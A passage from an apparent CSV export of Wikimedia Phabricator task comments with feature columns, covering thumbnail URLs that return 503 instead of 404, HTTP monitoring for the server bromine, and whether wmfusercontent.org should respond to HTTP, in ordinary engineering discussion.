+Another question is how many thumbnail URLs queried in a batch can give a noticeable delay",,,1444892799,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+546716,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
+https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
+Doesn't seem much even though response time increases in 2-5 times.
+Another question is how many thumbnail URLs queried in a batch can give a noticeable delay",,,1444881490,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+546715,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Just did a quick test with one thumbnail - you spend about 200ms to get uncached thumbnail, 40ms to get cached thumbnail and about 200ms to get one thumbnail URL via API. 
+https://en.wikipedia.org/w/api.php?action=query&titles=File:Albert_Einstein_Head.jpg&prop=imageinfo&&iiprop=url&iiurlwidth=220
+Doesn't seem much even though response time increases in 2-5 times.
+Another question is how many thumbnail URLs in queried in a batch can give a noticeable delay",,,1444881453,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,15,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+545810,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","See [[ https://github.com/wikimedia/mediawiki/blob/a2d6ecc4539e60501803155990ec36575bdb4332/includes/filerepo/FileRepo.php#L1764 | `FileRepo::nameForThumb()` ]] for how the thumbnail file name (the part after the `/`) is generated. IIRC `abbrvThreshold` is 200 for Wikimedia sites.
+
+But as Bawolff says you should use the API unless you are super interested in performance (and if you don't use it, you are going to have harder problems than this).",,,1444762013,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+545670,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","I would say we should redirect to correct url instead of 400.
+
+
+
+>>! In T106517#1721105, @Base wrote:
+> @jcrespo could you kindly point to where the correct usage of the API you are talking about is documented. I was trying to find something on mww yesterday on encountering the task merged but failed.
+
+The imageinfo module of the api. You should ask it about the thumbnail url for a specific file.
+",,,1444748755,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+545568,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",@jcrespo could you kindly point to where the correct usage of the API you are talking about is documented. I was trying to find something on mww yesterday on encountering the task merged but failed.,,,1444737188,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,False,,,14,True,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0
+544484,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",Filed T115155 in any case.,,,1444428880,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+545811,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","(Image in question: [[ https://commons.wikimedia.org/wiki/File:Kitagawa_Utamaro_-_Toji_san_bijin_(Three_Beauties_of_the_Present_Day)From_Bijin-ga_(Pictures_of_Beautiful_Women),_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg | link ]])
+
+Maybe it's from MediaViewer's [[ https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FMultimediaViewer/7b12a23f5c62c59bed60e0caddff44f99f2edad6/resources%2Fmmv%2Fprovider%2Fmmv.provider.GuessedThumbnailInfo.js | thumbnail URL guessing ]]? That would only happen though if MediaViewer is opened by clicking on a full-size image and then it tries to fetch a thumbnail, and I can't really see when that would happen. If you can check the request headers, you can recognize MediaViewer requests because they have an origin. Alternatively, can you tell what the referer and user agent are?",,,1444762043,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+544476,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","(Image in question: [[ https://commons.wikimedia.org/wiki/File:Kitagawa_Utamaro_-_Toji_san_bijin_(Three_Beauties_of_the_Present_Day)From_Bijin-ga_(Pictures_of_Beautiful_Women),_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg | link ]])
+
+Maybe it's from MediaViewer's [[ https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FMultimediaViewer/7b12a23f5c62c59bed60e0caddff44f99f2edad6/resources%2Fmmv%2Fprovider%2Fmmv.provider.GuessedThumbnailInfo.js | thumbnail URL guessing ]]? That would only happen though if MediaViewer is opened by clicking on a fill-size image and then it tries to fetch a thumbnail, and I can't really see when that would happen. If you can check the request headers, you can recognize MediaViewer requests because they have an origin. Alternatively, can you tell what the referer and user agent are?",,,1444428484,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+544147,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","We have a particular case that happens a lot, for files with long names like [[  https://commons.wikimedia.org/wiki/File:Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg | this ]], we get requests in the form:  
+
+[[ https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg |  `https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg` ]]
+which are not correct, instead of the correct, shorter:
+
+[[https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29%2C_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-thumbnail.jpg |`https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29%2C_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-thumbnail.jpg`]]. 
+
+We should return a 404 in that case. 
+
+Why we get lots of this?, I assume because 3rd party application do not use properly our APIs and link to custom made URLs.",,,1444397793,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+514011,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",@tgr yes this problem is at the varnish level.,,,1440489557,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+513950,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",[[ https://github.com/wikimedia/mediawiki/blob/master/thumb.php | `thumb.php` ]] does not ever return 501 as far as I can see. I would expect a truncated URL to be caught by [[ https://github.com/wikimedia/mediawiki/blob/a2d6ecc4539e60501803155990ec36575bdb4332/thumb.php#L256 | the parameter check ]] which returns a 400. Does this error come from Varnish somehow? It does not seem sensible to reply with 501 to a GET request.,,,1440471368,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+494843,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","The main issue here, in my opinion, is the log noise this creates, then; associating project.",,,1437570152,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+104948,monitor HTTP on bromine.eqiad.wmnet,"add HTTP monitoring for bromine (Icinga)
+
+https://wikitech.wikimedia.org/wiki/Bromine
+https://icinga.wikimedia.org/cgi-bin/icinga/status.cgi?host=bromine&nostatusheader",Low,25.0,1436249770,1436551955.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-h5tv42suevhftbfydmx6,task_description,resolved,True,c3,3,True,True,True,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+490136,monitor HTTP on bromine.eqiad.wmnet,"resolved (because it already checks the Apache per se) or more checks, one for each virtual host.",,,1436544734,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+490133,monitor HTTP on bromine.eqiad.wmnet,"this has been added:
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=bromine&service=Static+Bugzilla+HTTP",,,1436544671,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+489463,monitor HTTP on bromine.eqiad.wmnet,Should we add a separate check for each virtual host in their respective role? I tend to say yes because that makes moving roles around flexible and every service has their own check. On the other hand you might say that it's overkill to monitor separate virtual hosts when they are on the same webserver instance and we should not add an infinite number of checks to Icinga for performance reasons.,,,1436461964,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+489458,monitor HTTP on bromine.eqiad.wmnet,"Change 223364 merged by Dzahn:
+static bugzilla: add http monitoring
+
+[[https://gerrit.wikimedia.org/r/223364]]",,,1436461847,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+489093,monitor HTTP on bromine.eqiad.wmnet,">>! In T104948#1437383, @Matanya wrote:
+> do we need to monitor http or https is enough? 
+
+only http when talking to bromine since https ends at misc-web / nginx",,,1436407251,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+488576,monitor HTTP on bromine.eqiad.wmnet,do we need to monitor http or https is enough? ,,,1436358288,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+488209,monitor HTTP on bromine.eqiad.wmnet,"Change 223364 had a related patch set uploaded (by John F. Lewis):
+static bugzilla: add https check
+
+[[https://gerrit.wikimedia.org/r/223364]]
+",,,1436293284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+104735,(www.)wmfusercontent.org should respond to HTTP,"This domain doesn't currently have any HTTP response. Let's either redirect it to www.wikimedia.org, or at least have it respond with the default Apache doc root that indicates it points to a Wikimedia Foundation server.",Low,25.0,1435961599,1468172449.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-dpu5hmqvprhycqlkdzrk,False,PHID-TASK-bdvc4fmje2hpcwdo3226,task_description,resolved,True,c3,3,True,False,False,0,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,0
+692217,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#2449250, @Bawolff wrote:
+>>>! In T104735#2448220, @Mike_Peel wrote:
+>> Thanks @Bawolff! wmfusercontent.org now works as expected. However, accessing https://phab.wmfusercontent.org/ gives the error message:
+> 
+> To be clear, i did not fix, i just noticed it was fixed.
+
+OK - thanks to whoever fixed it (I can't spot who that was from this conversation)!
+
+>> Unhandled Exception (""Exception"")
+>> This Phabricator install is configured as ""https://phabricator.wikimedia.org"", but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.
+>> 
+>> That's a minor issue, but it would be good to fix it if possible
+> 
+> Arguably thats a reasonable error message. Its saying you should go to the other domain.
+
+It's saying that there was a cookie error with accessing this domain - which is different from saying that you should just access the other domain. We can be more transparent here (by just redirecting to the other domain), but this is definitely an improvement on what happened before!",,,1468263773,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1
+692211,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#2448220, @Mike_Peel wrote:
+> Thanks @Bawolff! wmfusercontent.org now works as expected. However, accessing https://phab.wmfusercontent.org/ gives the error message:
+
+To be clear, i did not fix, i just noticed it was fixed.
+
+
+> 
+> Unhandled Exception (""Exception"")
+> This Phabricator install is configured as ""https://phabricator.wikimedia.org"", but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.
+> 
+> That's a minor issue, but it would be good to fix it if possible
+
+Arguably thats a reasonable error message. Its saying you should go to the other domain.
+
+",,,1468263599,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+692087,(www.)wmfusercontent.org should respond to HTTP,"Thanks @Bawolff! wmfusercontent.org now works as expected. However, accessing https://phab.wmfusercontent.org/ gives the error message:
+
+Unhandled Exception (""Exception"")
+This Phabricator install is configured as ""https://phabricator.wikimedia.org"", but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.
+
+That's a minor issue, but it would be good to fix it if possible.",,,1468256389,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0
+691601,(www.)wmfusercontent.org should respond to HTTP,both http://phab.wmfusercontent.org and http://wmfusercontent.org respond with 301 Moved Permanently. Closing as fixed.,,,1468172449,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+527183,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639430, @Platonides wrote:
+>>>! In T104735#1639062, @BBlack wrote:
+>> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
+> 
+> Not if the contents are “This is a legitimate domain owned by the WMF, as you can verify checking that it appears at https://wikitech.wikimedia.org/wiki/WMF_domains_you_didn't_know_about_but_are_legitimate” which is precisely how I would fill such domain. (And yes, we have wikimedians nit-picking enough that will check that it is ineedd protected and will verify _who_ last edited it)
+
+And what percentage of users are ever going to go there, or click that link?  Why would they ever even know or care?  Their browser says everything's fine by default, and guess what, it is.  We're talking about serving the special interest of a paranoid minority who aren't even being paranoid in the right direction.  And we weren't really talking about putting a message there initially, but just sending it to a ""domain not served here"" page, like https://www.gstatic.com/ does (which is a the equivalent situation for google.com).  You *can* today navigate to https://phab.wmfusercontent.org/ and get better than that, and that's the only hostname that exists there.  The other hostnames discussed here do not exist for a developer tool or extension to even inform you of.
+
+> Those domains that hide behind a dns error are red flags for phishing, scam, etc. Should our users be trusting subdomains like wmfuserscontent.org or wikimedia.mtk4988.com just because ""something loaded content from there""?
+> Actually, it wouldn't be hard to prepare a social engineering attack in a wiki js with one of those...
+
+They're not ""hiding behind a DNS error"".  The DNS error is legitimate, and it's the user's fault in this case.  The user has typed a non-existent hostname into an address bar, which they've invented based on guesswork and hope, and it didn't work.
+
+If you're going to go through all that trouble, then do something more-legitimate like check the whois record for the domain that concerns you to see that it's registered to the Foundation, and/or navigate to phab.wmfusercontent.org and click the HTTPS icon in the top left to see that it has an Org Validation cert with our name on it.
+
+{F2604514}",,,1442271609,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+527137,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639062, @BBlack wrote:
+> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
+
+Not if the contents are “This is a legitimate domain owned by the WMF, as you can verify checking that it appears at https://wikitech.wikimedia.org/wiki/WMF_domains_you_didn't_know_about_but_are_legitimate” which is precisely how I would fill such domain. (And yes, we have wikimedians nit-picking enough that will check that it is ineedd protected and will verify _who_ last edited it)
+
+
+Those domains that hide behind a dns error are red flags for phishing, scam, etc. Should our users be trusting subdomains like wmfuserscontent.org or wikimedia.mtk4988.com just because ""something loaded content from there""?
+Actually, it wouldn't be hard to prepare a social engineering attack in a wiki js with one of those...
+",,,1442268548,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1
+527080,(www.)wmfusercontent.org should respond to HTTP,"There is nothing requiring http on wmfusercontent.org and I am not sure what would be the use case.
+
+Since the whole domain can host any arbitrary file (per design) and is solely used for inclusion from other sites, there is no point in having a landing page here.  Human being are not sent to / ever.
+
+As @bblack described, this task should just be declined imho.
+",,,1442265267,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1
+527072,(www.)wmfusercontent.org should respond to HTTP,"These are the kinds of things we've had to deal with over the past several months, most of which could've been avoided by and are a part of this larger philosophical problem, IMHO:
+
+T101048 (we have 140+ junk redirect domains to deal with...)
